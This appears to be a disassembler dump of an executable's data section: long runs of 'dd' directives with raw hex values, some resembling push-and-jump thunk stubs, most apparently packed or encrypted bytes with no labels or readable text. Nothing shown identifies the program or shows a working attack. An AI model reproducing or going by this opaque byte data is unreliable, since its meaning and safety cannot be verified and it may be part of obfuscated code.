		dd 0BBE9061Ch, 68FFF972h, 61C1110h, 0F972B1E9h,	11CB68FFh
		dd 0A7E9061Ch, 68FFF972h, 61C1277h, 0F9729DE9h,	133D68FFh
		dd 93E9061Ch, 68FFF972h, 61C13F0h, 0F97289E9h, 153968FFh
		dd 7FE9061Ch, 68FFF972h, 61C1652h, 0F97275E9h, 17AF68FFh
		dd 6BE9061Ch, 68FFF972h, 61C1890h, 0F97261E9h, 19F868FFh
		dd 57E9061Ch, 68FFF972h, 61C1B2Dh, 0F9724DE9h, 1D1068FFh
		dd 43E9061Ch, 68FFF972h, 61C1E01h, 0F97239E9h, 50C03EFFh
		dd 9B0B6EC5h, 58C825FAh, 920266BDh, 5ECE2C03h, 0F8ABE0B7h
		dd 0B46B0A7Ah, 0FD32C333h, 0B9660F7Fh, 982BCA3Ah, 0FECA0FB6h
		dd 30B1169Ah, 66C7240Ch, 86F2BADFh, 0C47F4110h,	1086F29Dh
		dd 4F604F60h, 0BD25666Fh, 8C8E11C4h, 696E30DEh,	0B98CBE26h
		dd 10867990h, 0FD6D4A5Bh, 0F122C869h, 63532292h, 815B6393h
		dd 4F16AE54h, 47233D9Ch, 9BF2245Ch, 9E98A916h, 93E3F617h
		dd 0A5187F16h, 0BD2F19A4h, 519F9Dh, 949D0000h, 4EC6A414h
		dd 3DB0BABh, 9BF5F040h,	0A5062B16h, 5F615535h, 93F1BDE4h
		dd 406F4016h, 45B5357Eh, 0B0A567A5h, 7F50D1EDh,	0C9F4961Fh
		dd 16935884h, 0DB17C671h, 0CF74DEFAh, 0A1BD0A26h, 93E1FF22h
		dd 0BDAD7E16h, 0BD2D6BCEh, 0C4F19Dh, 24C50000h,	525F57C7h
		dd 980864F0h, 11727FB7h, 0FF7C75A1h, 8EA11173h,	0E94E63E7h
		dd 0AA403D79h, 86F7FCFBh, 80431910h, 1086F759h,	0BA771324h
		dd 0E050AD39h, 332426CFh, 7A21B3BAh, 2011F95Ch,	5E8342A3h
		dd 1D10869Bh, 85F3230Ch, 6BD81B1h, 169C6C42h, 0CF7B1A2Bh
		dd 0FCEE5EE2h, 0ACB2E296h, 8BE11619h, 3A041510h, 6C0979F9h
		dd 40A733B7h, 12370ED0h, 0D91CABDAh, 0C716E7C8h, 94B1C328h
		dd 12BB22A2h, 1B9B0000h, 0D455CAABh, 23A29164h,	0EB4DE2B3h
		dd 25859A7Bh, 0C0CBE0B5h, 18FD6DCDh, 6134A40Bh,	730272D2h
		dd 26CF3FBCh, 0CF12B19Dh, 0AE169AFFh, 0C6244FEDh, 969BBF56h
		dd 9A73A313h, 50C043F0h, 0BAB77C5h, 0F04003DBh,	2B169BF5h
		dd 5733A306h, 0E5605667h, 1693F1B8h, 66E3CA45h,	9DBD1D03h
		dd 0F589h, 1072BF00h, 9CB32384h, 624F46EEh, 8C7D6DDDh
		dd 0D2F7CE2Fh, 301086F2h, 71A43A39h, 6334EC74h,	0D9594A4Ch
		dd 765F2D69h, 9CB3D312h, 6C573315h, 1086580Fh, 2C32A221h
		dd 414E9332h, 1C2D1086h, 0F63B1F6Eh, 3D120474h,	680272F6h
		dd 5CE748ABh, 10864135h, 0CEC8E7B8h, 526C9C5Ch,	4172E261h
		dd 77484EBEh, 5E02C193h, 1F169CB6h, 0D2292F2h, 4DF8E668h
		dd 16933504h, 0B868D85Ah, 0DD4DACE7h, 83B3832Dh, 5E4808BBh
		dd 2D3108Bh, 299C571Dh,	0E2D6B426h, 46A40DD1h, 92F03FD6h
		dd 82065B22h, 5B59B1C2h, 11B0D7h, 0D848A600h, 1383E63Dh
		dd 0E050AD82h, 2A9A1E15h, 0E656D44Bh, 0A013980Fh, 4CE3B222h
		dd 859A7BEBh, 51DEB727h, 0E0F382F2h, 0FC0247FEh, 28E9169Ah
		dd 56C62414h, 0A31370BFh, 0B642BA9Bh, 8CFD26EBh, 86F890B9h
		dd 654A5B10h, 0AE5CCC2Eh, 0C72459DFh, 0F1525F57h, 0B8970765h
		dd 3935B1A6h, 0C5322098h, 0DA044625h, 8609266Bh, 57D8C510h
		dd 0F1DEAFE7h, 93356EDh, 0E9BA1086h, 45B51001h,	73E36051h
		dd 0B9381BA2h, 3A09D505h, 169B00D6h, 9FB88697h,	3CF01871h
		dd 1A9A999Eh, 7BEC0AAh,	0E0784C7h, 0AEB0E0A0h, 8DFD83B0h
		dd 0FA7FB489h, 21C5E08Ah, 0B4EB3CCBh, 7145B3E3h, 7D52C225h
		dd 9E67E261h, 25F6152Ah, 0F9B1819h, 2FB3BABh, 58DB482Dh
		dd 0E43615E8h, 87ADB421h, 10D42Bh, 94048200h, 5FCF3201h
		dd 9C0C69B6h, 56C62AF9h, 0A21270BFh, 0DCD7D4D3h, 1807EE5Eh
		dd 0E14E2797h, 0D22F363h, 6C573EAEh, 0FDBEE362h, 0BC3D169Ah
		dd 66C72480h, 86F2BADFh, 5F704110h, 0FD2DD157h,	0A2E62E1h
		dd 9EAF169Ch, 0DF0FAFF7h, 37AC44FFh, 60311089h,	0CF766836h
		dd 1CACB78Ah, 0DBCAA071h, 1CACB7B2h, 60E9D43Bh,	0A3D25EDDh
		dd 4063h, 0BAB3700h, 0FF4003DBh, 7E169C41h, 24A091ADh
		dd 11B4AAB4h, 1693BDC8h, 0F666C6B3h, 5F6231D9h,	1693A238h
		dd 9461D132h, 30911D9Fh, 0D6F9D6C0h, 102F64E0h,	845A0000h
		dd 93A298C1h, 0B8526316h, 0BF0BAB84h, 0DBE3CC3Ch, 5E555D6h
		dd 942F2D2Fh, 1086F24Dh, 96141F30h, 61594426h, 0EC16A2FDh
		dd 49AE03DBh, 0E5CA3ABDh, 0D040C0B1h, 24C6E9E6h, 32A22112h
		dd 0FF6FCC63h, 5D8D31B7h, 609A5481h, 0CBE45C3Bh, 0DBFC07E5h
		dd 0A9417BA2h, 0BF633093h, 91A10BEh, 0F7FFC35h,	73962D2Fh
		dd 0FA1CBEBCh, 28324129h, 243AAA0Bh, 0BEBC78A1h, 5832031Ch
		dd 0AEE858DBh, 724C7C3Ch, 0A44D8BD3h, 0C4596A1Ah, 0ABA2F2DFh
		dd 9A86EE08h, 0BC00000Fh, 0EC43D242h, 0AB781D8Dh, 0E43BDA4Ah
		dd 0B2811484h, 9615E050h, 0A8189A15h, 61D156CDh, 0AD1D9F94h
		dd 68D85BC8h, 0B1143A8Dh, 169AE268h, 0B6EA5213h, 1086F297h
		dd 0BE80B050h, 0A2FC3007h, 58663716h, 8D68D85Bh, 71A51596h
		dd 0CF12B1ABh, 45169AF9h, 74BC5A79h, 3E0FB1A6h,	6292664Ch
		dd 0D431825Ch, 0AD5D3264h, 8039DA0Eh, 0B92A310h, 0B1BF0714h
		dd 2245ADC7h, 3400000Fh, 74AB4ABAh, 43F085F5h, 6CC352C2h
		dd 2AF99C0Ch, 0DEBD58C8h, 2090F2ADh, 0E959DE55h, 2595170Ch
		dd 0F060E350h, 19ACB225h, 169AE3F0h, 2442FA7Bh,	525F57C7h
		dd 0A69581F1h, 8BFB7FB4h, 0E1D8B28Bh, 1DCE5BEEh, 105697A8h
		dd 54000009h, 7E6CDC5Fh, 0DB0BAB96h, 38FCD903h,	999E6D21h
		dd 0D4564525h, 5516A2DFh, 7A647A44h, 9ADF86CBh,	0B6546516h
		dd 0EF86F675h, 8B53C340h, 6452C226h, 4D9F4C6Bh,	0D7A14E2Eh
		dd 537AF933h, 0C169AECh, 0E192446Ch, 3E1989EFh,	775864C1h
		dd 3D886E67h, 30F5D919h, 5A3363D3h, 4BF9575h, 108019CCh
		dd 0FCFD8091h, 0E3B1BF26h, 0E6771D1h, 8FEF0000h, 48A9761Fh
		dd 87E63DD8h, 4FB17E17h, 89E936DFh, 6C1F7C19h, 9461D131h
		dd 0CDA8189Fh, 8F66D656h, 0E2B323A0h, 3356EDF1h, 0BA169AE3h
		dd 864F0339h, 67FEE3Eh,	3CED9D38h, 5A474FBFh, 84CD78D9h
		dd 0DA1086B7h, 0D3ACEA5Ah, 43735C6Dh, 5B5BCB2Eh, 4076E646h
		dd 469D1089h, 5AEFDE57h, 97A862CFh, 83A55h, 97B63100h
		dd 501086F2h, 7BE80B0h,	16A2FDE5h, 86ABB384h, 88A9B525h
		dd 0D0F9CC2Dh, 9B169AF9h, 0A6C5A58Ah, 6492FA79h, 0B036054Bh
		dd 0E654426Dh, 69DCE212h, 10800731h, 0F12EBBCh,	0D4B1BF2Ch
		dd 0DBB62E2h, 1B9B0000h, 0D455CAABh, 23A29164h,	0EB4DE2B3h
		dd 25859A7Bh, 0C0CBE0B5h, 18FD6DCDh, 6134A40Bh,	730272D2h
		dd 26CF3FBCh, 0CF12B19Dh, 0AE169AE0h, 0C7244FEDh, 587D5F57h
		dd 0B9B75436h, 0B97A10B5h, 0E1CCCA3Ah, 59E46558h, 0DF97A827h
		dd 7A7h, 66DDFFDDh, 1086F323h, 54CF9CAh, 0E81086F3h, 0F798E8DFh
		dd 0A8875330h, 0AEEA2F96h, 80911086h, 0BAB32EAh, 94003DBh
		dd 7216A2FDh, 96831765h, 0DD8D22F4h, 8D6E8B9h, 0D92A6FD6h
		dd 0E944169Ah, 14F6C779h, 51249417h, 0C5F161E2h, 0EA5ADAD7h
		dd 8C37D3ACh, 169AD941h, 142A5A1Eh, 802179B1h, 0FDB5A210h
		dd 0C55E607Ah, 3203B357h, 0BE7F626Bh, 136F85B1h, 0CF5h
		dd 0A075E561h, 0D7BE2E93h, 987DED48h, 0E0B5258Bh, 967FEF53h
		dd 93178A01h, 5ADD5223h, 98140BEAh, 55D64D28h, 97C710E5h
		dd 9AE1E52Ch
		dd 35078816h, 5F57C724h, 0BD81F152h, 0BD2D929Fh, 86F2C108h
		dd 0EF9BAC10h, 10BF3645h, 0A81DB439h, 6DD3C97h,	4F500000h
		dd 4670E062h, 0DE02A149h, 3D1086F2h, 7C460D18h,	0B7888EFEh
		dd 936E12A0h, 0CDFDC1F7h, 0C63A52F1h, 0EABB16A2h, 0EC5CDFD4h
		dd 0D991A09h, 4E103FAFh, 0B46CB510h, 3E0F169Ah,	0A858E24Ch
		dd 0EA4D6678h, 74433C7Ah, 0DB3FB59Eh, 96A842EAh, 87ED7B2Fh
		dd 6C310210h, 0B1BF35C9h, 4220A492h, 1400000Ch,	0D44B2A9Ah
		dd 2310E555h, 0CC6332A2h, 0A19FC6Ch, 3E5D38A8h,	80F0524Dh
		dd 49B93EF5h, 85F577ACh, 50C043F0h, 794C12C5h, 169AE150h
		dd 24E25A1Bh, 4E8757C7h, 981D678Ch, 0AD670322h,	0CFC737B4h
		dd 0AA0D2638h, 78A1243Ah, 31086D9h, 6E615832h, 8B6ADA59h
		dd 0A8459316h, 1401997h, 24ED0000h, 525F57C7h, 960665F1h
		dd 2ACEDCB9h, 2961E4FAh, 0B4169BFBh, 0D50B3E3h,	631693FBh
		dd 3A276FDFh, 0B65145B5h, 0B713D0FFh, 0F17CCD00h, 779DBD26h
		dd 36h,	61864F93h, 2D9D1C38h, 3126900Ah, 6F9F5F59h, 1A44F44Fh
		dd 28F9169Bh, 14687EEh,	882F1693h, 4BF9D55h, 169301DDh
		dd 0B0DB8FA0h, 9DBE0D4Dh, 0C7D3h, 0C724E700h, 946BE5Fh
		dd 0B31B3CACh, 411D3203h, 2393161Bh, 867C5F82h,	0BF2F9110h
		dd 0DC5A3001h, 0C3F363C7h, 41C14DAEh, 0C7E8E5D1h, 0F161E2CFh
		dd 9062A124h, 9A971087h, 0B9298B17h, 0BBAFA096h, 987DED4Eh
		dd 203E6E12h, 9E2077A5h, 29350616h, 5B3AAA08h, 0D242C2EFh
		dd 0F969CFE4h, 0FBEFC0BDh, 7744AC0Eh, 0C13192BEh, 0F5ABDCF6h
		dd 1114E8E2h, 2E01C562h, 0D777AA4Fh, 43BFB5B7h,	0AF9h
		dd 0A471E15Dh, 0DBBA2A8Fh, 9C79E944h, 0E4B12187h, 9A7BEB4Fh
		dd 0AF138EFDh, 66C9563Fh, 0B4101FF6h, 182B144h,	0BD30491h
		dd 9AE71138h, 211BDC16h, 0BF56C624h, 0A616969Bh, 7CE447C4h
		dd 0C6A9C604h, 0D5565DCAh, 7DAB4A65h, 5F57C724h, 0F481F152h
		dd 4DED0h, 0BABEC00h, 3C4003DBh, 5F169BFCh, 0F883C67Dh
		dd 596A1693h, 0FA3C0DB1h, 93F8527Bh, 49741B16h,	0BB2B88A9h
		dd 3491827Bh, 0DFDD2C4h, 0BD241B9Eh, 0F276BB9Dh, 0C0309182h
		dd 24FFA2Ah, 0B60E0000h, 1086F29Ch, 6777A757h, 0D76E6775h
		dd 0B6CEF6AAh, 0C91B3EE7h, 0F9791086h, 0A9C5B4F6h, 0FBEFC060h
		dd 0A28946A0h, 0F8C6D716h, 70CDE6h, 77FA3916h, 4C3E0F07h
		dd 0D2EC5CDFh, 8D10390Ch, 0CADB169Ah, 24F981EDh, 0EA8044E5h
		dd 0E196BF8Bh, 1D5B80FAh, 83B05Ah, 6414A690h, 58598043h
		dd 3C2169Ah, 169A58DEh,	0E7148C9Dh, 143B1484h, 1989E94Ah
		dd 0A058EB71h, 2D10875Fh, 0A4D2811Ch, 0A391B1BEh, 9E01Fh
		dd 88F87600h, 43B336EDh, 90007DB2h, 5ACA2E05h, 960664BBh
		dd 0B0E3A8FFh, 1C13E252h, 0D54A2B9Bh, 210EE757h, 706332A2h
		dd 0E4B2D76Eh, 0B839169Ah, 57C72484h, 65F1525Fh, 0ACA19505h
		dd 0BDF49383h, 47FEE012h, 1086F202h, 132D8E9h, 124C1282h
		dd 86F26EB3h, 0F73C0D10h, 3A130373h, 0D704550h,	9397A81Ah
		dd 161h, 0E1624FA7h, 1B989971h,	0F5766BABh, 0F6CAF085h
		dd 154DF8C6h, 76169BFBh, 97A21461h, 0C8A2F50Bh,	74CFC7D8h
		dd 1693F829h, 0D5745BD6h, 9DBD2868h, 34F0h, 0BABCC00h
		dd 49AE03DBh, 0E959DAD9h, 243AD0ADh, 9BF591A1h,	9B9BAC16h
		dd 93F1F518h, 0A8178216h, 0BD1D1CA1h, 25A0BE9Dh, 1693FDFCh
		dd 60BCAE7Fh, 0D0h, 5FC7243Ch, 0D48E1A1Fh, 54426DBEh, 0CB7ADB5Fh
		dd 10863186h, 3B7B5465h, 6155C526h, 0BFE2617Bh,	3E108631h
		dd 0AC83F351h, 7EEE4DBEh, 82C77E60h, 69108631h,	77E3B258h
		dd 31BBDE65h, 71421086h, 0CBE92A66h, 0E288C979h, 87B194C3h
		dd 0E555D610h, 7F37FCD9h, 841D2D76h, 5F1F87E6h,	66B40F2Fh
		dd 17169F32h, 31263806h, 8EAD200Eh, 777F916h, 46113E0Fh
		dd 0BD66457h, 4BC8A202h, 919E77E7h, 873CC131h, 0E0B7D746h
		dd 8836ED6h, 73D30000h,	3CBD7203h, 7BFA29CCh, 33B56A0Bh
		dd 7DFD32C3h, 7833680Dh, 0A075E545h, 0D9BC2C93h, 9B7AEA4Ah
		dd 0DEB72784h, 375AE9F5h, 0B6169AE5h, 0C6240735h, 1370BF56h
		dd 4F88D2A3h, 5659824Ah, 759D4D6Dh, 6FDF624Fh, 77B45627h
		dd 0A19284F4h, 0A1119622h, 0DEB79875h, 262E2h, 56DBD800h
		dd 57EEB0E6h, 1086F232h, 23C7E8B9h, 0DB0BABEFh,	57D8D903h
		dd 2CDEAFE7h, 0A2FD1D91h, 474F6016h, 9AF9A1ECh,	0FCE34E16h
		dd 0C424E04Dh, 207689Dh, 4F440000h, 4A6DDD62h, 0DB5DAF4Ch
		dd 7D28C234h, 1086225Bh, 8AFA7BB8h, 22C811B4h, 0E2B31086h
		dd 0BEEE9208h, 2C9125A0h, 0F14216A2h, 1DF22494h, 6678496Dh
		dd 977EEE4Dh, 7BBB2B88h, 451949EDh, 8729CA7Eh, 0FB829310h
		dd 0B1BE7334h, 0A2A50D27h, 0B4000007h, 0F42BCA3Ah, 0C3700575h
		dd 0EC43D242h, 0AA791C8Ch, 5E3DD848h, 0A010722Dh, 69D95ED5h
		dd 0A515978Ch, 70E063D0h, 992C32A5h, 169AEA70h,	24C27AFBh
		dd 525F57C7h, 9C9581F1h, 9085B121h, 0F103DC5Ah,	283B003h
		dd 0F59CA492h, 497019CAh, 0D5575C96h, 3F77E749h, 8889614Eh
		dd 8EA3BB2Bh, 0C5D0BA2Ah, 0A8A68DF0h, 0A9042D97h, 72547D48h
		dd 6171086h, 8F080E29h,	2596BE99h, 137D545h, 24B10000h
		dd 525F57C7h, 6AF481F1h, 0F288D174h, 0A2731086h, 0FE2ED2C8h
		dd 0FB2D65E0h, 9FB0169Bh, 931896BFh, 0D5334EB9h, 4015F735h
		dd 0AD3835F5h, 3ABBF886h, 17F3CCCAh, 935561ACh,	3CA30E16h
		dd 8EFE7DB6h, 0C54CB1DCh, 27D49DBDh, 0E8000000h, 3DB0BABh
		dd 9BF5F040h, 0BAC48D16h, 7D3BFBF4h, 0F251456Ah, 169372ABh
		dd 57F2DD54h, 9DBD99D2h, 0AF5Ah, 624F2E00h, 9B9872E2h
		dd 756EA818h, 0A09185F5h, 0B1ABB323h, 86F2CF12h, 0C19DAE10h
		dd 86F2DF02h, 0DD8D9E10h, 51C1422Fh, 6CA201C4h,	0CF2C1087h
		dd 0E65D7F5Fh, 108689A3h, 291794Ah, 0AD404B4h, 9EE11D3Bh
		dd 6BDADC16h, 169ED126h, 3DBF4C5h, 2DC4CAEh, 0B2E454B1h
		dd 0FC5E2DDDh, 0D4C232B7h, 0C4EB5BDFh, 0F985E526h, 54290676h
		dd 0B7D82E83h, 3A5ADADCh, 1C000006h, 0CC6332A2h, 0B18FD6Dh
		dd 0C45B3AAAh, 1221F464h, 0F6B540B0h, 878FAB5h,	0C131B66Dh
		dd 0D7DFF34h, 0C838BB68h, 11B49A2Dh, 169AEBC8h,	240A32B3h
		dd 70BF56C6h, 66D2A313h, 0D05FC724h, 0A247CFC4h, 2C45715Eh
		dd 0FAB65FCFh, 27h, 57C7240Eh, 90F1525Fh, 86F2EC35h, 91BE8F10h
		dd 6CFB88CDh, 7D68E492h, 0A80F9F8Dh, 0C1319235h, 259034h
		dd 24AC0000h, 42275FC7h, 918A8C6h, 9EB9722Ah, 69467DDFh
		dd 7086C62Dh, 2FFA1086h, 74E44780h, 0F374BDA1h,	4F33E783h
		dd 4472E262h, 11729F4Bh, 330375A1h, 0CB1880E7h,	48356205h
		dd 0BA9383ACh, 0A7F821A4h, 0B2831086h, 8E02C19Dh, 6D16A2A8h
		dd 938DD46Fh, 5F70169Ah, 243A0BABh, 593CAC0Fh, 0BDF969CAh
		dd 6F638B2Bh, 45478E13h, 0C4EDF1DEh, 0CFC0F666h, 0EDAA191Bh
		dd 8C10BE7Ch, 2D8EA3BBh, 3D76D8BDh, 786650C0h, 0BE7884CDh
		dd 7956671Ch, 0C223A091h, 78E0299Ch, 0BA8B1CBEh, 0BE78C60Bh
		dd 0BB94A51Ch, 1949ED7Bh, 895E7E45h, 1D1F1AA4h,	0CB6963A6h
		dd 16390A02h, 0A2B6B487h, 3DC5AFABh, 505h, 0F085F551h
		dd 0A74EBE43h, 0E88DFD78h, 0B045B53Bh, 0E68FFF83h, 63C7FAB1h
		dd 0AA0D22F3h, 68C45B3Ah, 0A5061DF8h, 67776035h, 9AE9B5DCh
		dd 85B73816h, 0BE57C724h, 74A21271h, 8A8CFC7Fh
		dd 0B017C6EFh, 0E53F253h, 0ED1086F2h, 0E252D7DCh, 0F07D28CDh
		dd 7897A819h, 34h, 0DB0BAB94h, 41FF4003h, 917E169Ch, 0F8D5C131h
		dd 0BD3A5FE6h, 0F0C11693h, 52B2FFDFh, 0D8F767C6h, 0BD53783Dh
		dd 2E8D1693h, 0EC48D7BEh, 7ABA3A7Ch, 0CE000004h, 5F57C724h
		dd 0F481F152h, 0FCC2F2C6h, 0A8EB01DBh, 0FE352790h, 0D75D0D7Dh
		dd 9BB2346Ch, 6DCCB916h, 38CCB9FDh, 87D0CDF7h, 6CCFC4EBh
		dd 0F9E3D3FCh, 52B03CB8h, 0F4DBB4E2h, 4866A716h, 4D0F1693h
		dd 1D777008h, 4EF5637Fh, 1693CC0Bh, 290E21F2h, 115923F2h
		dd 0BBF69442h, 55D5DE14h, 238605E5h, 0A99DBD9Dh, 20h, 0DB0BAB7Dh
		dd 0F5F04003h, 0BC8D169Bh, 0F1D2FB7Ah, 0F49B1693h, 1CFD80C9h
		dd 10839DBDh, 97000001h, 8757C724h, 6155C52Ah, 0A3907E6Ch
		dd 0C131931Fh, 0DFD7F8D5h, 0D5A3D8FDh, 0DDC2E84Ah, 0D2C1EE5Eh
		dd 0C4B9FD6Dh, 1686E526h, 24B01320h, 6C6155C5h,	8AEF352h
		dd 7C4D1086h, 0F2518B53h, 108608AFh, 0FE8D7D4Eh, 860DB4C3h
		dd 0C535B610h, 10800330h, 2182E54Eh, 860D7FA2h,	22DFE10h
		dd 0DACC7B35h, 0EB9FFB06h, 0E607B741h, 86F63A5Fh, 0C3F0C110h
		dd 0F5CACC3Ch, 4BAF04DAh, 0B1E2DBDBh, 3309E151h, 9BF0AC90h
		dd 0FEC0D116h, 0C86A25D9h, 0E8828E63h, 29591D8Dh, 266AAE15h
		dd 213108Bh, 4F1B1B3Ch,	0DE733F92h, 0DA681A79h,	26C4EBA7h
		dd 86E54E10h, 3B2F2016h, 19FC6CCEh, 7C47A80Ah, 1CAB4155h
		dd 55280718h, 0B1C2A0F8h, 227D05EFh, 34000003h,	74AB4ABAh
		dd 43F085F5h, 6CC352C2h, 2AF99C0Ch, 0DEBD58C8h,	2090F2ADh
		dd 0E959DE55h, 2595170Ch, 0F060E350h, 19ACB225h, 169AEFF0h
		dd 2442FA7Bh, 70BF56C6h, 88D2A313h, 5D59C92Bh, 0AB928A60h
		dd 0D839BF0Bh, 86F2246Dh, 0D9F6C710h, 0ACEA5ADAh, 63E2FCD3h
		dd 169BF5D7h, 53895566h, 93F1A9F0h, 7B435416h, 93F181C8h
		dd 0AF5B6C16h, 0F1DFFE85h, 0F1A81693h, 1D1E8BBEh, 0BEA69DBDh
		dd 82000000h, 5F57C724h, 9680F052h, 86F7C02Fh, 1989EA10h
		dd 0D444A77Ch, 80A858E2h, 7B986215h, 0F9C5EA49h, 0CCCA3AB8h
		dd 3BCCE4F3h, 0A5290EF1h, 68D46FC5h, 0D169B00h,	0AD51593Ch
		dd 0F050617Dh, 9F970764h, 0B89581AEh, 8E88F87Bh, 0C083D9B1h
		dd 108B6E77h, 8293506h,	0EF5B3AAAh, 6D3356EDh, 0E9BA1CABh
		dd 42B21001h, 0C2B54CBBh, 1DA58FB1h, 231h, 0BC59C925h
		dd 3920267h, 9461D12Ch,	0CCA9199Fh, 9263D357h, 971B9615h
		dd 5EE14E27h, 9C1807EEh, 59DA492Ch, 93BB0CE9h, 9AECE930h
		dd 69D39416h, 0BF56C624h, 0DF02C19Bh, 111086F2h, 0CDDE42B2h
		dd 1F8FEC1Dh, 59DFD476h, 3AD0ADE9h, 0B68D4F02h,	1086F293h
		dd 70A1495Ah, 7E73A313h, 0A01071FDh, 0A8B69976h, 0D6B4248Bh
		dd 9B0B68B7h, 0E72A99C3h, 861086F2h, 7557D5B5h,	0BD363060h
		dd 0BCAE6377h, 0ECF222D6h, 75EA56EBh, 0BA50FA75h, 0CD0D21A4h
		dd 3F10169Ch, 3FAF121Fh, 0AA6406F7h, 54735ACBh,	288E67D7h
		dd 3CAC0C58h, 94784B13h, 771089E8h, 0A347B73Ah,	2AF422F3h
		dd 5489134h, 62331CACh,	0B8288B88h, 0C40DB8A6h,	0A71CAC05h
		dd 0AD1D9D96h, 58DF4FBDh, 0E515E965h, 0FFE26AD9h, 96831AB6h
		dd 9A73A313h, 0F053E0B5h, 25A0BE80h, 2C6FFFCh, 0BD2D927Fh
		dd 253EF892h, 645F57C7h, 3EBD0AB5h, 0BF7F27CEh,	76A01073h
		dd 0FFF41DA8h, 0A67702C6h, 0BF98A689h, 7D13C994h, 2D4314EAh
		dd 39AF8CB4h, 43025436h, 4DCCFEBh, 4DBD3D6Ah, 5B5B7449h
		dd 52C24071h, 7BEB4F64h, 7D6D423Bh, 9FBF2F8Ch, 27C33392h
		dd 979F4EDh, 2898140Dh,	7B624BEEh, 0E1CC3D68h, 30A02011h
		dd 70A0605Ah, 0D747D76Eh, 0F5C60EC9h, 0BAE2F3E9h, 0F2874348h
		dd 962A71Eh, 38090EECh,	0C3734352h, 39F1B29Bh, 143BD1E8h
		dd 9D1F144Ah, 7614E92Dh, 0C8128C47h, 845A6B08h,	0FD1EDE53h
		dd 0A2DBF76h, 42BEC32Fh, 52FDB8Bh, 3F1F8FECh, 5718B616h
		dd 8E2E4CBh, 0D435B66Dh, 22871h, 0EDC2D334h, 0F3B24AA9h
		dd 0BC23068Dh, 72D0E111h, 48AB6802h, 0C7CF3FBCh, 0F31B3E05h
		dd 0D1E2268Dh, 0A40DD1FEh, 0ECE1D545h, 0F32E73D2h, 0FCCD268Dh
		dd 53B07F0Eh, 52D6DBE3h, 0C3F363C6h, 705E5CAh, 1826961Ah
		dd 29A6FA3Fh, 7218FB8Dh, 6558C1C4h, 0A471E162h,	0A2BC2C8Fh
		dd 0C30360B5h, 116CC429h, 0B79875A1h, 12D959D3h, 0AD000000h
		dd 0D46F6D2Fh, 1086F28Dh, 0D6545F70h, 0AB5F3066h, 5ACA2487h
		dd 74E4475Ch, 63D33142h, 49B93E33h, 66D6544Dh, 4FBF4330h
		dd 66D65A47h, 52C24330h, 7AEA4F64h, 0E468783Ch,	8900000Dh
		dd 89512414h, 4C181E1h,	81000000h, 4E9h, 240C8700h, 2414895Ch
		dd 81E38953h, 4C3h, 4EB8100h, 87000000h, 895C241Ch, 68512434h
		dd 788C6971h, 81240C8Bh, 4C4h, 57E98100h, 8972705Dh, 8B5459CAh
		dd 0C4812434h, 4, 88068h, 24048900h, 8B8h, 89F00100h, 34FF5810h
		dd 0C4815E24h, 4, 5A2434FFh, 4C481h, 7BE90000h,	2FFFF95Dh
		dd 0E4DAA6F0h, 1C2057B8h, 0FFC50306h, 0D2A305E0h, 0FEC1E94Fh
		dd 0D02B7F66h, 0FBB4E216h, 3FFF6022h, 0CF326B01h, 3F49D35Fh
		dd 2A06D458h, 4D6C5915h, 0CA349019h, 96638A45h,	38BA2D50h
		dd 77E54503h, 96DF3773h, 0E5443A07h, 4F3E9902h,	0E036778h
		dd 1EE3ED6Fh, 0B28A6A00h, 3403346Bh, 0DE804h, 0AB7F0000h
		dd 3102A939h, 87B83CF7h, 817CEF16h, 346E6DF1h, 880F5B28h
		dd 8, 2880Fh, 9BB50000h, 65A6C381h, 0F600000h, 830FD6B7h
		dd 10h,	0BE9h, 2EF45E00h, 28379394h, 0BCA79A00h, 6861h
		dd 0E9580000h, 5, 41F32BE7h, 3348BCCh, 3D25BA66h, 0DB98C681h
		dd 81661089h, 81BFA4D2h, 0C86C6DC6h, 0C7BA6655h, 34EE8185h
		dd 6646D954h, 564C46BFh, 3048FF9h, 0E945EE80h, 12h, 984A8AC7h
		dd 58691649h, 0E0978807h, 130D5459h, 0E8833388h, 0EE801h
		dd 0B69A0000h, 72CB3606h, 0CDB45C3Fh, 4CEEF6BDh, 11E9h
		dd 2CEF900h, 42D42630h,	61BFED5h, 10254001h, 485FECB7h
		dd 9ABF4848h, 810CF428h, 0FF9B34F8h, 7A850FFFh,	0B9FFFFFFh
		dd 564E947Fh, 6E8h, 0B0A18800h,	6010E6B1h, 0AE8h, 94751F00h
		dd 343E0AB0h, 583E2B84h, 3185BA66h, 0BF0F5F61h,	79C781F2h
		dd 0E8000069h, 0Bh, 155702DFh, 10054447h, 569B21D7h, 5EFAED80h
		dd 1A2EBB5Ah, 0B9660000h, 78B4388h, 0C081C4B6h,	3C0B668Ah
		dd 2830Fh, 5FB50000h, 0E374E881h, 0C2810A62h, 0CA5A8B6h
		dd 7E6BE881h, 7E90543h,	4D000000h, 0E10BB9DAh, 6650E33Ah
		dd 78FCF8Bh, 10E8h, 0F452C300h,	242D03C2h, 34B14E67h, 7BDC22B1h
		dd 5EF38B71h, 6603EF83h, 4F8BBFBAh, 10E8h, 0D22B8800h
		dd 0FB1CBCFAh, 0FA312F67h, 2C75A799h, 7FD68018h, 1EB815Ah
		dd 0F000000h, 0FFFF8585h, 0D68166FFh, 8D8DBA21h, 61C2384h
		dd 371BD8Bh, 8D890615h,	6152721h, 12999529h, 85C70615h
		dd 61504CDh, 5D9Ch, 85C71EB0h, 6151115h, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0B0C35242h
		dd 148C0459h, 949A277Fh, 0B5FFF8EFh, 6150595h, 10E8h, 55062700h
		dd 65273009h, 8CB0A6F6h, 9E7F7560h, 95FF5BBAh, 61502C9h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0F0C35242h
		dd 0DC55EBA4h, 0F9884F14h, 95FF006Ah, 6152E21h,	6AEBC08Bh
		dd 4109241Fh, 0E185A48Ah, 7A87CC6Ch, 251DE820h,	1E2A74EBh
		dd 45137829h, 0B540719Dh, 0F6F9B438h, 14BEFDC2h, 0DAC65C11h
		dd 0CFA5D704h, 0B8AFA1C1h, 4237DD80h, 0F6781626h, 25E66C73h
		dd 417ADE66h, 0B1465295h, 0D5911DBCh, 2B961D0Bh, 0A1182450h
		dd 0C3F95BA0h, 0C3DACFF8h, 7A9B3493h, 9148591Ch, 1D89465Ah
		dd 597CB59Ch, 17E96CE8h, 26000000h, 373FD1h, 4 dup(0)
		dd 0E2E90000h, 68000004h, 61C2538h, 0F95A35E9h,	25B068FFh
		dd 2BE9061Ch, 68FFF95Ah, 61C26D9h, 0F95A21E9h, 68D856FFh
